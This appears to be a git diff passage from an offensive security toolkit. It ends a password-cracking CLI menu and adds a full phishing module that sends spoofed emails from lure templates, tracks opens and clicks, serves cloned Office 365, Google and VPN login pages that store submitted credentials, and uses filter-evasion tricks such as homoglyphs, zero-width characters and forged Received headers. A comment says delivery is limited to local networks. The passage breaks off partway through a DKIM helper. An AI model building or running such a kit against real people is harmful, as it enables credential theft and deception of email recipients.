").strip() + result = svc.crack_hash(h, wordlist=wl) + if result.get('job_id'): + print(f" {result['message']}") + print(" Waiting...") + while True: + time.sleep(2) + s = svc.get_crack_status(result['job_id']) + if s.get('done'): + if s.get('cracked'): + print(f"\n CRACKED: {s['cracked']}") + else: + print(f"\n Not cracked. {s.get('message', '')}") + break + elif result.get('cracked'): + print(f"\n CRACKED: {result['cracked']}") + else: + print(f" {result.get('message', result.get('error', ''))}") + elif choice == '3': + length = int(input(" Length (default 16): ").strip() or '16') + count = int(input(" Count (default 5): ").strip() or '5') + passwords = svc.generate_password(length=length, count=count) + print("\n Generated passwords:") + for pw in passwords: + audit = svc.audit_password(pw) + print(f" {pw} [{audit['strength']}] {audit['entropy']} bits") + elif choice == '4': + pw = input(" Password: ").strip() + if not pw: + continue + audit = svc.audit_password(pw) + print(f"\n Strength: {audit['strength']}") + print(f" Entropy: {audit['entropy']} bits") + print(f" Length: {audit['length']}") + print(f" Charset: {audit['charset_size']} characters") + for check, passed in audit['checks'].items(): + mark = '\033[92m✓\033[0m' if passed else '\033[91m✗\033[0m' + print(f" {mark} {check}") + elif choice == '5': + text = input(" Plaintext: ").strip() + algo = input(" Algorithm (md5/sha1/sha256/sha512): ").strip() or 'sha256' + r = svc.hash_string(text, algo) + if r['ok']: + print(f" {r['algorithm']}: {r['hash']}") + else: + print(f" Error: {r['error']}") + elif choice == '6': + wls = svc.list_wordlists() + if wls: + print(f"\n Wordlists ({len(wls)}):") + for w in wls: + sys_tag = ' [system]' if w.get('system') else '' + print(f" {w['name']} — {w['size_human']}{sys_tag}") + else: + print(" No wordlists found.") + elif choice == '7': + tools = svc.get_tools_status() + print("\n Tool Status:") + for tool, available in tools.items(): + mark = '\033[92m✓\033[0m' if available else '\033[91m✗\033[0m' + print(f" {mark} {tool}") diff --git a/modules/phishmail.py b/modules/phishmail.py new file mode 100644 index 0000000..9e9254f --- /dev/null +++ b/modules/phishmail.py @@ -0,0 +1,1489 @@ +"""Gone Fishing Mail Service — Local network phishing simulator. + +Combines features from GoPhish, King Phisher, SET, and Swaks: +sender spoofing, self-signed TLS certs, HTML templates, tracking pixels, +campaign management, attachment support. + +Hard-wired to reject delivery to non-RFC1918 addresses. +""" + +DESCRIPTION = "Gone Fishing Mail Service — local network phishing simulator" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "offense" + +import os +import json +import time +import uuid +import socket +import smtplib +import threading +import subprocess +import ipaddress +from pathlib import Path +from datetime import datetime +from email import encoders +from email.mime.base import MIMEBase +from email.mime.text import MIMEText +from email.mime.multipart import MIMEMultipart +from typing import Dict, List, Optional, Any + +try: + from core.paths import get_data_dir +except ImportError: + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + + +# ── RFC1918 networks for local-only enforcement ───────────────────────────── +_LOCAL_NETS = [ + ipaddress.ip_network('10.0.0.0/8'), + ipaddress.ip_network('172.16.0.0/12'), + ipaddress.ip_network('192.168.0.0/16'), + ipaddress.ip_network('127.0.0.0/8'), + ipaddress.ip_network('::1/128'), + ipaddress.ip_network('fe80::/10'), +] + + +def _is_local_ip(ip_str: str) -> bool: + """Check if an IP address is in RFC1918/loopback range.""" + try: + addr = ipaddress.ip_address(ip_str) + return any(addr in net for net in _LOCAL_NETS) + except ValueError: + return False + + +def _validate_local_only(address: str) -> tuple: + """Validate that a recipient's mail server resolves to a local IP. + + Returns (ok: bool, message: str). + """ + # Extract domain from email + if '@' not in address: + # Treat as hostname/IP directly + domain = address + else: + domain = address.split('@')[1] + + # Direct IP check + try: + addr = ipaddress.ip_address(domain) + if _is_local_ip(str(addr)): + return True, f"Direct IP {domain} is local" + return False, f"BLOCKED: {domain} is not a local network address" + except ValueError: + pass + + # DNS resolution + try: + results = socket.getaddrinfo(domain, 25, socket.AF_UNSPEC, socket.SOCK_STREAM) + for family, stype, proto, canonname, sockaddr in results: + ip = sockaddr[0] + if _is_local_ip(ip): + return True, f"{domain} resolves to local IP {ip}" + # Try MX records via simple DNS + ips_found = [sockaddr[0] for _, _, _, _, sockaddr in results] + return False, f"BLOCKED: {domain} resolves to external IPs: {', '.join(ips_found)}" + except socket.gaierror: + return False, f"BLOCKED: Cannot resolve {domain}" + + +# ── Template Manager ───────────────────────────────────────────────────────── + +_BUILTIN_TEMPLATES = { + "Password Reset": { + "subject": "Action Required: Password Reset", + "html": """
+
+

Security Alert

+
+

Dear {{name}},

+

We detected unusual activity on your account ({{email}}). For your security, please reset your password immediately.

+

Reset Password Now

+

If you did not request this, please ignore this email. This link expires in 24 hours.

+

— IT Security Team

+
{{tracking_pixel}}
""", + "text": "Dear {{name}},\n\nWe detected unusual activity on your account ({{email}}). Please reset your password: {{link}}\n\n— IT Security Team", + }, + "Invoice Attached": { + "subject": "Invoice #{{invoice_num}} — Payment Due", + "html": """
+
+

Invoice Notification

+
+

Hi {{name}},

+

Please find attached invoice #{{invoice_num}} for the amount of {{amount}}.

+

Payment is due by {{date}}. Please review the attached document and process the payment at your earliest convenience.

+

If you have any questions, reply to this email.

+

Best regards,
Accounts Department
{{company}}

+
{{tracking_pixel}}
""", + "text": "Hi {{name}},\n\nPlease find attached invoice #{{invoice_num}} for {{amount}}.\nPayment due: {{date}}\n\nBest regards,\nAccounts Department\n{{company}}", + }, + "Shared Document": { + "subject": "{{sender_name}} shared a document with you", + "html": """
+
+
📄
+

{{sender_name}} shared a file with you

+
+
+

{{sender_name}} ({{sender_email}}) has shared the following document:

+

{{document_name}}

+

Open Document

+

This sharing link will expire on {{date}}

+
{{tracking_pixel}}
""", + "text": "{{sender_name}} shared a document with you.\n\nDocument: {{document_name}}\nOpen: {{link}}\n\nExpires: {{date}}", + }, + "Security Alert": { + "subject": "Urgent: Suspicious Login Detected", + "html": """
+
+

⚠ Security Alert

+
+

Dear {{name}},

+

We detected a login to your account from an unrecognized device:

+ + + + + +
Location:{{location}}
Device:{{device}}
Time:{{date}}
IP Address:{{ip_address}}
+

If this was you, no action is needed. Otherwise, secure your account immediately.

+
{{tracking_pixel}}
""", + "text": "Security Alert\n\nDear {{name}},\n\nUnrecognized login detected:\nLocation: {{location}}\nDevice: {{device}}\nTime: {{date}}\nIP: {{ip_address}}\n\nSecure your account: {{link}}", + }, + "Meeting Update": { + "subject": "Meeting Update: {{meeting_title}}", + "html": """
+
+

📅 Calendar Update

+
+

Hi {{name}},

+

The following meeting has been updated:

+
+{{meeting_title}}
+{{date}} at {{time}}
+Organizer: {{organizer}} +
+

Please review the updated agenda and confirm your attendance.

+

View Meeting Details

+
{{tracking_pixel}}
""", + "text": "Meeting Update: {{meeting_title}}\n\nHi {{name}},\n\n{{meeting_title}} has been updated.\nDate: {{date}} at {{time}}\nOrganizer: {{organizer}}\n\nView details: {{link}}", + }, +} + + +class TemplateManager: + """Manage email templates (built-in + custom).""" + + def __init__(self): + self._file = os.path.join(get_data_dir(), 'phishmail_templates.json') + self._custom = {} + self._load() + + def _load(self): + if os.path.exists(self._file): + try: + with open(self._file, 'r') as f: + self._custom = json.load(f) + except Exception: + self._custom = {} + + def _save(self): + os.makedirs(os.path.dirname(self._file), exist_ok=True) + with open(self._file, 'w') as f: + json.dump(self._custom, f, indent=2) + + def list_templates(self) -> Dict[str, dict]: + merged = {} + for name, tpl in _BUILTIN_TEMPLATES.items(): + merged[name] = {**tpl, 'builtin': True} + for name, tpl in self._custom.items(): + merged[name] = {**tpl, 'builtin': False} + return merged + + def get_template(self, name: str) -> Optional[dict]: + if name in self._custom: + return {**self._custom[name], 'builtin': False} + if name in _BUILTIN_TEMPLATES: + return {**_BUILTIN_TEMPLATES[name], 'builtin': True} + return None + + def save_template(self, name: str, html: str, text: str = '', subject: str = ''): + self._custom[name] = {'html': html, 'text': text, 'subject': subject} + self._save() + + def delete_template(self, name: str) -> bool: + if name in self._custom: + del self._custom[name] + self._save() + return True + return False + + +# ── Campaign Manager ───────────────────────────────────────────────────────── + +class CampaignManager: + """Manage phishing campaigns with tracking.""" + + def __init__(self): + self._file = os.path.join(get_data_dir(), 'phishmail_campaigns.json') + self._campaigns = {} + self._load() + + def _load(self): + if os.path.exists(self._file): + try: + with open(self._file, 'r') as f: + self._campaigns = json.load(f) + except Exception: + self._campaigns = {} + + def _save(self): + os.makedirs(os.path.dirname(self._file), exist_ok=True) + with open(self._file, 'w') as f: + json.dump(self._campaigns, f, indent=2) + + def create_campaign(self, name: str, template: str, targets: List[str], + from_addr: str, from_name: str, subject: str, + smtp_host: str = '127.0.0.1', smtp_port: int = 25) -> str: + cid = uuid.uuid4().hex[:12] + self._campaigns[cid] = { + 'id': cid, + 'name': name, + 'template': template, + 'targets': [ + {'email': t.strip(), 'id': uuid.uuid4().hex[:8], + 'status': 'pending', 'sent_at': None, 'opened_at': None, + 'clicked_at': None} + for t in targets if t.strip() + ], + 'from_addr': from_addr, + 'from_name': from_name, + 'subject': subject, + 'smtp_host': smtp_host, + 'smtp_port': smtp_port, + 'created': datetime.now().isoformat(), + 'status': 'draft', + } + self._save() + return cid + + def get_campaign(self, cid: str) -> Optional[dict]: + return self._campaigns.get(cid) + + def list_campaigns(self) -> List[dict]: + return list(self._campaigns.values()) + + def delete_campaign(self, cid: str) -> bool: + if cid in self._campaigns: + del self._campaigns[cid] + self._save() + return True + return False + + def update_target_status(self, cid: str, target_id: str, + field: str, value: str): + camp = self._campaigns.get(cid) + if not camp: + return + for t in camp['targets']: + if t['id'] == target_id: + t[field] = value + break + self._save() + + def record_open(self, cid: str, target_id: str): + self.update_target_status(cid, target_id, 'opened_at', + datetime.now().isoformat()) + + def record_click(self, cid: str, target_id: str): + self.update_target_status(cid, target_id, 'clicked_at', + datetime.now().isoformat()) + + def get_stats(self, cid: str) -> dict: + camp = self._campaigns.get(cid) + if not camp: + return {} + targets = camp.get('targets', []) + total = len(targets) + sent = sum(1 for t in targets if t.get('sent_at')) + opened = sum(1 for t in targets if t.get('opened_at')) + clicked = sum(1 for t in targets if t.get('clicked_at')) + return { + 'total': total, 'sent': sent, 'opened': opened, + 'clicked': clicked, + 'open_rate': f"{opened/sent*100:.1f}%" if sent else '0%', + 'click_rate': f"{clicked/sent*100:.1f}%" if sent else '0%', + } + + +# ── SMTP Relay Server ──────────────────────────────────────────────────────── + +class _SMTPHandler: + """Simple SMTP receiver using raw sockets (no aiosmtpd dependency).""" + + def __init__(self, host='0.0.0.0', port=2525): + self.host = host + self.port = port + self._sock = None + self._running = False + self._thread = None + self._received = [] + + def start(self): + if self._running: + return + self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + self._sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + self._sock.settimeout(2) + self._sock.bind((self.host, self.port)) + self._sock.listen(5) + self._running = True + self._thread = threading.Thread(target=self._accept_loop, daemon=True) + self._thread.start() + + def stop(self): + self._running = False + if self._sock: + try: + self._sock.close() + except Exception: + pass + if self._thread: + self._thread.join(timeout=5) + + def _accept_loop(self): + while self._running: + try: + conn, addr = self._sock.accept() + threading.Thread(target=self._handle_client, + args=(conn, addr), daemon=True).start() + except socket.timeout: + continue + except Exception: + if self._running: + continue + break + + def _handle_client(self, conn, addr): + """Minimal SMTP conversation handler.""" + try: + conn.settimeout(30) + conn.sendall(b'220 Gone Fishing SMTP Ready\r\n') + mail_from = '' + rcpt_to = [] + data_buf = b'' + while True: + line = b'' + while not line.endswith(b'\r\n'): + chunk = conn.recv(1) + if not chunk: + return + line += chunk + cmd = line.decode('utf-8', errors='replace').strip().upper() + + if cmd.startswith('EHLO') or cmd.startswith('HELO'): + conn.sendall(b'250-Gone Fishing\r\n250 OK\r\n') + elif cmd.startswith('MAIL FROM'): + mail_from = line.decode('utf-8', errors='replace').split(':', 1)[1].strip().strip('<>') + conn.sendall(b'250 OK\r\n') + elif cmd.startswith('RCPT TO'): + rcpt = line.decode('utf-8', errors='replace').split(':', 1)[1].strip().strip('<>') + rcpt_to.append(rcpt) + conn.sendall(b'250 OK\r\n') + elif cmd == 'DATA': + conn.sendall(b'354 End data with .\r\n') + data_buf = b'' + while True: + chunk = conn.recv(4096) + if not chunk: + break + data_buf += chunk + if data_buf.endswith(b'\r\n.\r\n'): + break + self._received.append({ + 'from': mail_from, + 'to': rcpt_to, + 'data': data_buf.decode('utf-8', errors='replace'), + 'time': datetime.now().isoformat(), + 'addr': addr, + }) + conn.sendall(b'250 OK\r\n') + elif cmd == 'QUIT': + conn.sendall(b'221 Bye\r\n') + break + elif cmd.startswith('STARTTLS'): + conn.sendall(b'454 TLS not available on relay\r\n') + else: + conn.sendall(b'500 Unknown command\r\n') + except Exception: + pass + finally: + try: + conn.close() + except Exception: + pass + + @property + def received_count(self): + return len(self._received) + + +# ── Gone Fishing Server ───────────────────────────────────────────────────── + +class GoneFishingServer: + """Main phishing mail service combining SMTP relay, sender, and tracking.""" + + def __init__(self): + self.templates = TemplateManager() + self.campaigns = CampaignManager() + self.landing_pages = LandingPageManager() + self.evasion = EmailEvasion() + self.dkim = DKIMHelper() + self._relay = None + self._tracking_events = [] + + @property + def relay_running(self) -> bool: + return self._relay is not None and self._relay._running + + def start_relay(self, host: str = '0.0.0.0', port: int = 2525): + if self._relay and self._relay._running: + return {'ok': True, 'message': 'Relay already running'} + self._relay = _SMTPHandler(host, port) + self._relay.start() + return {'ok': True, 'message': f'SMTP relay started on {host}:{port}'} + + def stop_relay(self): + if self._relay: + self._relay.stop() + self._relay = None + return {'ok': True, 'message': 'Relay stopped'} + + def relay_status(self) -> dict: + if self._relay and self._relay._running: + return { + 'running': True, + 'host': self._relay.host, + 'port': self._relay.port, + 'received': self._relay.received_count, + } + return {'running': False} + + def generate_cert(self, cn: str = 'mail.example.com', + org: str = 'Example Inc', + ou: str = '', locality: str = '', + state: str = '', country: str = 'US', + days: int = 365) -> dict: + """Generate a spoofed self-signed TLS certificate.""" + cert_dir = os.path.join(get_data_dir(), 'certs', 'phishmail') + os.makedirs(cert_dir, exist_ok=True) + + safe_cn = cn.replace('/', '_').replace('\\', '_').replace(' ', '_') + cert_path = os.path.join(cert_dir, f'{safe_cn}.crt') + key_path = os.path.join(cert_dir, f'{safe_cn}.key') + + subj_parts = [f'/CN={cn}'] + if org: + subj_parts.append(f'/O={org}') + if ou: + subj_parts.append(f'/OU={ou}') + if locality: + subj_parts.append(f'/L={locality}') + if state: + subj_parts.append(f'/ST={state}') + if country: + subj_parts.append(f'/C={country}') + subj = ''.join(subj_parts) + + try: + subprocess.run([ + 'openssl', 'req', '-x509', '-newkey', 'rsa:2048', + '-keyout', key_path, '-out', cert_path, + '-days', str(days), '-nodes', + '-subj', subj, + ], check=True, capture_output=True) + return { + 'ok': True, 'cert': cert_path, 'key': key_path, + 'cn': cn, 'org': org, + 'message': f'Certificate generated: {safe_cn}.crt', + } + except FileNotFoundError: + return {'ok': False, 'error': 'OpenSSL not found — install OpenSSL to generate certificates'} + except subprocess.CalledProcessError as e: + return {'ok': False, 'error': f'OpenSSL error: {e.stderr.decode(errors="replace")}'} + + def list_certs(self) -> List[dict]: + cert_dir = os.path.join(get_data_dir(), 'certs', 'phishmail') + if not os.path.isdir(cert_dir): + return [] + certs = [] + for f in os.listdir(cert_dir): + if f.endswith('.crt'): + name = f[:-4] + key_exists = os.path.exists(os.path.join(cert_dir, f'{name}.key')) + certs.append({'name': name, 'cert': f, 'has_key': key_exists}) + return certs + + def _build_message(self, config: dict) -> MIMEMultipart: + """Build a MIME email message from config.""" + msg = MIMEMultipart('alternative') + msg['From'] = f"{config.get('from_name', '')} <{config['from_addr']}>" + msg['To'] = ', '.join(config.get('to_addrs', [])) + msg['Subject'] = config.get('subject', '') + msg['Reply-To'] = config.get('reply_to', config['from_addr']) + msg['X-Mailer'] = config.get('x_mailer', 'Microsoft Outlook 16.0') + msg['Message-ID'] = f"<{uuid.uuid4().hex}@{config['from_addr'].split('@')[-1]}>" + msg['Date'] = datetime.now().strftime('%a, %d %b %Y %H:%M:%S %z') or \ + datetime.now().strftime('%a, %d %b %Y %H:%M:%S +0000') + + # Evasion: additional headers + if config.get('x_priority'): + msg['X-Priority'] = config['x_priority'] + if config.get('x_originating_ip'): + msg['X-Originating-IP'] = f"[{config['x_originating_ip']}]" + if config.get('return_path'): + msg['Return-Path'] = config['return_path'] + if config.get('list_unsubscribe'): + msg['List-Unsubscribe'] = config['list_unsubscribe'] + + # Evasion: spoofed Received headers + for received in config.get('received_headers', []): + msg['Received'] = received + + # Custom headers + for hdr_name, hdr_val in config.get('custom_headers', {}).items(): + msg[hdr_name] = hdr_val + + # Text part + text_body = config.get('text_body', '') + if text_body: + msg.attach(MIMEText(text_body, 'plain')) + + # HTML part + html_body = config.get('html_body', '') + if html_body: + # Apply evasion if requested + evasion_mode = config.get('evasion_mode', '') + if evasion_mode == 'homoglyph': + html_body = self.evasion.homoglyph_text(html_body) + elif evasion_mode == 'zero_width': + html_body = self.evasion.zero_width_insert(html_body) + elif evasion_mode == 'html_entity': + html_body = self.evasion.html_entity_encode(html_body) + msg.attach(MIMEText(html_body, 'html')) + + # Attachments + for filepath in config.get('attachments', []): + if os.path.isfile(filepath): + part = MIMEBase('application', 'octet-stream') + with open(filepath, 'rb') as f: + part.set_payload(f.read()) + encoders.encode_base64(part) + part.add_header('Content-Disposition', 'attachment', + filename=os.path.basename(filepath)) + msg.attach(part) + + return msg + + def _inject_tracking(self, html: str, campaign_id: str, + target_id: str, base_url: str = '') -> str: + """Inject tracking pixel and rewrite links for click tracking.""" + if not base_url: + base_url = 'http://127.0.0.1:8181' + + # Tracking pixel + pixel_url = f"{base_url}/phishmail/track/pixel/{campaign_id}/{target_id}" + pixel_tag = f'' + html = html.replace('{{tracking_pixel}}', pixel_tag) + + # Link rewriting — replace href values with tracking redirects + import re + link_counter = [0] + + def _rewrite_link(match): + original = match.group(1) + if 'track/pixel' in original or 'track/click' in original: + return match.group(0) + link_id = link_counter[0] + link_counter[0] += 1 + import base64 + encoded = base64.urlsafe_b64encode(original.encode()).decode() + track_url = f"{base_url}/phishmail/track/click/{campaign_id}/{target_id}/{encoded}" + return f'href="{track_url}"' + + html = re.sub(r'href="([^"]+)"', _rewrite_link, html) + return html + + def send_email(self, config: dict) -> dict: + """Send a single email. + + Config keys: from_addr, from_name, to_addrs (list), subject, + html_body, text_body, attachments (list of paths), + smtp_host, smtp_port, use_tls, cert_cn (for TLS cert lookup). + """ + to_addrs = config.get('to_addrs', []) + if isinstance(to_addrs, str): + to_addrs = [a.strip() for a in to_addrs.split(',') if a.strip()] + + # Validate all recipients are local + for addr in to_addrs: + ok, msg = _validate_local_only(addr) + if not ok: + return {'ok': False, 'error': msg} + + smtp_host = config.get('smtp_host', '127.0.0.1') + smtp_port = int(config.get('smtp_port', 25)) + use_tls = config.get('use_tls', False) + + config['to_addrs'] = to_addrs + message = self._build_message(config) + + try: + if use_tls: + # Look for spoofed cert + cert_cn = config.get('cert_cn', '') + if cert_cn: + cert_dir = os.path.join(get_data_dir(), 'certs', 'phishmail') + safe_cn = cert_cn.replace('/', '_').replace('\\', '_').replace(' ', '_') + cert_path = os.path.join(cert_dir, f'{safe_cn}.crt') + key_path = os.path.join(cert_dir, f'{safe_cn}.key') + if os.path.exists(cert_path) and os.path.exists(key_path): + import ssl as _ssl + ctx = _ssl.create_default_context() + ctx.check_hostname = False + ctx.verify_mode = _ssl.CERT_NONE + ctx.load_cert_chain(cert_path, key_path) + server = smtplib.SMTP(smtp_host, smtp_port, timeout=15) + server.starttls(context=ctx) + else: + server = smtplib.SMTP(smtp_host, smtp_port, timeout=15) + server.starttls() + else: + server = smtplib.SMTP(smtp_host, smtp_port, timeout=15) + server.starttls() + else: + server = smtplib.SMTP(smtp_host, smtp_port, timeout=15) + + server.sendmail(config['from_addr'], to_addrs, message.as_string()) + server.quit() + return {'ok': True, 'message': f'Email sent to {len(to_addrs)} recipient(s)'} + except smtplib.SMTPException as e: + return {'ok': False, 'error': f'SMTP error: {e}'} + except ConnectionRefusedError: + return {'ok': False, 'error': f'Connection refused: {smtp_host}:{smtp_port}'} + except Exception as e: + return {'ok': False, 'error': str(e)} + + def send_campaign(self, cid: str, base_url: str = '', + delay: float = 1.0) -> dict: + """Send all emails in a campaign with tracking injection.""" + camp = self.campaigns.get_campaign(cid) + if not camp: + return {'ok': False, 'error': 'Campaign not found'} + + tpl = self.templates.get_template(camp['template']) + if not tpl: + return {'ok': False, 'error': f"Template '{camp['template']}' not found"} + + # Validate all targets first + for t in camp['targets']: + ok, msg = _validate_local_only(t['email']) + if not ok: + return {'ok': False, 'error': f"Target {t['email']}: {msg}"} + + sent = 0 + errors = [] + for t in camp['targets']: + html = tpl.get('html', '') + text = tpl.get('text', '') + subject = camp.get('subject', tpl.get('subject', '')) + + # Variable substitution + vars_map = { + '{{name}}': t['email'].split('@')[0].replace('.', ' ').title(), + '{{email}}': t['email'], + '{{company}}': camp.get('from_name', 'Company'), + '{{date}}': datetime.now().strftime('%B %d, %Y'), + '{{link}}': f'{base_url}/phishmail/track/click/{cid}/{t["id"]}/landing', + } + for var, val in vars_map.items(): + html = html.replace(var, val) + text = text.replace(var, val) + subject = subject.replace(var, val) + + # Inject tracking + html = self._inject_tracking(html, cid, t['id'], base_url) + + config = { + 'from_addr': camp['from_addr'], + 'from_name': camp['from_name'], + 'to_addrs': [t['email']], + 'subject': subject, + 'html_body': html, + 'text_body': text, + 'smtp_host': camp.get('smtp_host', '127.0.0.1'), + 'smtp_port': camp.get('smtp_port', 25), + } + + result = self.send_email(config) + if result['ok']: + self.campaigns.update_target_status( + cid, t['id'], 'status', 'sent') + self.campaigns.update_target_status( + cid, t['id'], 'sent_at', datetime.now().isoformat()) + sent += 1 + else: + errors.append(f"{t['email']}: {result['error']}") + self.campaigns.update_target_status( + cid, t['id'], 'status', 'failed') + + if delay > 0: + time.sleep(delay) + + # Update campaign status + camp_data = self.campaigns.get_campaign(cid) + if camp_data: + camp_data['status'] = 'sent' + self.campaigns._save() + + if errors: + return {'ok': True, 'sent': sent, 'errors': errors, + 'message': f'Sent {sent}/{len(camp["targets"])} emails, {len(errors)} failed'} + return {'ok': True, 'sent': sent, + 'message': f'Campaign sent to {sent} target(s)'} + + def setup_dns_for_domain(self, domain: str, mail_host: str = '', + spf_allow: str = '') -> dict: + """Auto-configure DNS records for a spoofed domain via the DNS service. + + Creates zone + MX + SPF + DMARC records if the DNS service is running. + """ + try: + from core.dns_service import get_dns_service + dns = get_dns_service() + if not dns.is_running(): + return {'ok': False, 'error': 'DNS service not running'} + + # Create zone if it doesn't exist + dns.create_zone(domain) + + # Setup mail records + result = dns.setup_mail_records( + domain, + mx_host=mail_host or f'mail.{domain}', + spf_allow=spf_allow or 'ip4:127.0.0.1', + ) + return result + except ImportError: + return {'ok': False, 'error': 'DNS service module not available'} + except Exception as e: + return {'ok': False, 'error': str(e)} + + def dns_status(self) -> dict: + """Check if DNS service is available and running.""" + try: + from core.dns_service import get_dns_service + dns = get_dns_service() + return {'available': True, 'running': dns.is_running()} + except Exception: + return {'available': False, 'running': False} + + def test_smtp(self, host: str, port: int = 25, timeout: int = 5) -> dict: + """Test SMTP connectivity to a server.""" + try: + server = smtplib.SMTP(host, port, timeout=timeout) + banner = server.ehlo_resp or server.helo_resp + server.quit() + return { + 'ok': True, + 'message': f'Connected to {host}:{port}', + 'banner': banner.decode(errors='replace') if isinstance(banner, bytes) else str(banner), + } + except Exception as e: + return {'ok': False, 'error': str(e)} + + +# ── Landing Page & Credential Harvesting ────────────────────────────────────── + +_LANDING_TEMPLATES = { + "Office 365 Login": { + "html": """ +Sign in to your account + +""", + "fields": ["email", "password"], + }, + "Google Login": { + "html": """ +Sign in - Google Accounts + +
+

Sign in

Use your Google Account

+
+ + +
Forgot email?
""", + "fields": ["email", "password"], + }, + "Generic Login": { + "html": """ +Login Required + +

Login Required

Please sign in to continue

+
+ + +
""", + "fields": ["username", "password"], + }, + "VPN Login": { + "html": """ +VPN Portal - Authentication Required + +
🛡

VPN Portal

Authentication required to connect

+
+ + + +
+

This connection is encrypted and monitored

""", + "fields": ["username", "password", "otp"], + }, +} + + +class LandingPageManager: + """Manage phishing landing pages and captured credentials.""" + + def __init__(self): + self._data_dir = os.path.join(get_data_dir(), 'phishmail') + self._pages_file = os.path.join(self._data_dir, 'landing_pages.json') + self._captures_file = os.path.join(self._data_dir, 'captures.json') + self._pages = {} + self._captures = [] + self._load() + + def _load(self): + os.makedirs(self._data_dir, exist_ok=True) + for attr, path in [('_pages', self._pages_file), ('_captures', self._captures_file)]: + if os.path.exists(path): + try: + with open(path, 'r') as f: + setattr(self, attr, json.load(f)) + except Exception: + pass + + def _save_pages(self): + os.makedirs(self._data_dir, exist_ok=True) + with open(self._pages_file, 'w') as f: + json.dump(self._pages, f, indent=2) + + def _save_captures(self): + os.makedirs(self._data_dir, exist_ok=True) + with open(self._captures_file, 'w') as f: + json.dump(self._captures, f, indent=2) + + def list_builtin(self) -> dict: + return {name: {'fields': t['fields'], 'builtin': True} for name, t in _LANDING_TEMPLATES.items()} + + def list_pages(self) -> dict: + result = {} + for name, t in _LANDING_TEMPLATES.items(): + result[name] = {'fields': t['fields'], 'builtin': True} + for pid, page in self._pages.items(): + result[page.get('name', pid)] = {**page, 'id': pid, 'builtin': False} + return result + + def get_page(self, name_or_id: str) -> Optional[dict]: + if name_or_id in _LANDING_TEMPLATES: + return {**_LANDING_TEMPLATES[name_or_id], 'builtin': True} + if name_or_id in self._pages: + return {**self._pages[name_or_id], 'builtin': False} + # Search by name + for pid, page in self._pages.items(): + if page.get('name') == name_or_id: + return {**page, 'id': pid, 'builtin': False} + return None + + def create_page(self, name: str, html: str, redirect_url: str = '', + fields: list = None) -> str: + pid = uuid.uuid4().hex[:10] + self._pages[pid] = { + 'name': name, 'html': html, 'redirect_url': redirect_url, + 'fields': fields or ['username', 'password'], + 'created': datetime.now().isoformat(), + } + self._save_pages() + return pid + + def delete_page(self, pid: str) -> bool: + if pid in self._pages: + del self._pages[pid] + self._save_pages() + return True + return False + + def record_capture(self, page_id: str, form_data: dict, + request_info: dict = None) -> dict: + """Record captured credentials from a landing page submission.""" + # Filter out hidden tracking fields + creds = {k: v for k, v in form_data.items() if not k.startswith('_')} + + capture = { + 'id': uuid.uuid4().hex[:10], + 'page': page_id, + 'campaign': form_data.get('_campaign', ''), + 'target': form_data.get('_target', ''), + 'credentials': creds, + 'timestamp': datetime.now().isoformat(), + } + if request_info: + capture['ip'] = request_info.get('ip', '') + capture['user_agent'] = request_info.get('user_agent', '') + capture['referer'] = request_info.get('referer', '') + + self._captures.append(capture) + # Keep last 10000 captures + if len(self._captures) > 10000: + self._captures = self._captures[-10000:] + self._save_captures() + return capture + + def get_captures(self, campaign_id: str = '', page_id: str = '') -> list: + results = self._captures + if campaign_id: + results = [c for c in results if c.get('campaign') == campaign_id] + if page_id: + results = [c for c in results if c.get('page') == page_id] + return results + + def clear_captures(self, campaign_id: str = '') -> int: + if campaign_id: + before = len(self._captures) + self._captures = [c for c in self._captures if c.get('campaign') != campaign_id] + count = before - len(self._captures) + else: + count = len(self._captures) + self._captures = [] + self._save_captures() + return count + + def render_page(self, name_or_id: str, campaign_id: str = '', + target_id: str = '', target_email: str = '') -> Optional[str]: + """Render a landing page with tracking variables injected.""" + page = self.get_page(name_or_id) + if not page: + return None + html = page['html'] + html = html.replace('{{campaign_id}}', campaign_id) + html = html.replace('{{target_id}}', target_id) + html = html.replace('{{email}}', target_email) + return html + + +# ── Email Evasion Helpers ────────────────────────────────────────────────── + +class EmailEvasion: + """Techniques to improve email deliverability and bypass filters.""" + + @staticmethod + def homoglyph_text(text: str) -> str: + """Replace some chars with Unicode homoglyphs to bypass text filters.""" + _MAP = {'a': '\u0430', 'e': '\u0435', 'o': '\u043e', 'p': '\u0440', + 'c': '\u0441', 'x': '\u0445', 'i': '\u0456'} + import random + result = [] + for ch in text: + if ch.lower() in _MAP and random.random() < 0.3: + result.append(_MAP[ch.lower()]) + else: + result.append(ch) + return ''.join(result) + + @staticmethod + def zero_width_insert(text: str) -> str: + """Insert zero-width chars to break keyword matching.""" + import random + zwchars = ['\u200b', '\u200c', '\u200d', '\ufeff'] + result = [] + for ch in text: + result.append(ch) + if ch.isalpha() and random.random() < 0.15: + result.append(random.choice(zwchars)) + return ''.join(result) + + @staticmethod + def html_entity_encode(text: str) -> str: + """Encode some chars as HTML entities.""" + import random + result = [] + for ch in text: + if ch.isalpha() and random.random() < 0.2: + result.append(f'&#x{ord(ch):x};') + else: + result.append(ch) + return ''.join(result) + + @staticmethod + def randomize_headers() -> dict: + """Generate randomized but realistic email headers.""" + import random + mailers = [ + 'Microsoft Outlook 16.0', 'Microsoft Outlook 15.0', + 'Thunderbird 102.0', 'Apple Mail (2.3654)', + 'Evolution 3.44', 'The Bat! 10.4', + ] + priorities = ['1 (Highest)', '3 (Normal)', '5 (Lowest)'] + return { + 'x_mailer': random.choice(mailers), + 'x_priority': random.choice(priorities), + 'x_originating_ip': f'10.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(1,254)}', + } + + @staticmethod + def spoof_received_chain(from_domain: str, hops: int = 2) -> list: + """Generate fake Received headers to look like legitimate mail flow.""" + import random + servers = ['mx', 'relay', 'gateway', 'edge', 'smtp', 'mail', 'mta'] + chain = [] + prev = f'{random.choice(servers)}.{from_domain}' + for i in range(hops): + next_srv = f'{random.choice(servers)}{i+1}.{from_domain}' + ip = f'10.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(1,254)}' + ts = datetime.now().strftime('%a, %d %b %Y %H:%M:%S +0000') + chain.append(f'from {prev} ({ip}) by {next_srv} with ESMTPS; {ts}') + prev = next_srv + return chain + + +# ── DKIM Helper ────────────────────────────────────────────────────────────── + +class DKIMHelper: + """Generate DKIM keys and 